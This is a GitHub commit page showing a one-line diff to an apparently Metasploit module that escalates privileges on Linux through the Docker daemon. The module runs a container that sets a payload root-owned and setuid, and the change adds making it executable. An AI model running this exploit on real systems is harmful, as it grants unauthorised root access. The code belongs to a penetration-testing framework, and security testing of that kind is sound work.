We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
2 parents c67e407 + 7e9d0b3 commit c15968eCopy full SHA for c15968e
modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
@@ -64,7 +64,7 @@ def shell_script(exploit_path)
64
65
%Q{
66
IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`
67
- EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
+ EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}; chmod +x #{exploit_path}"
68
docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
69
docker rmi -f $IMG
70
#{exploit_path}
0 commit comments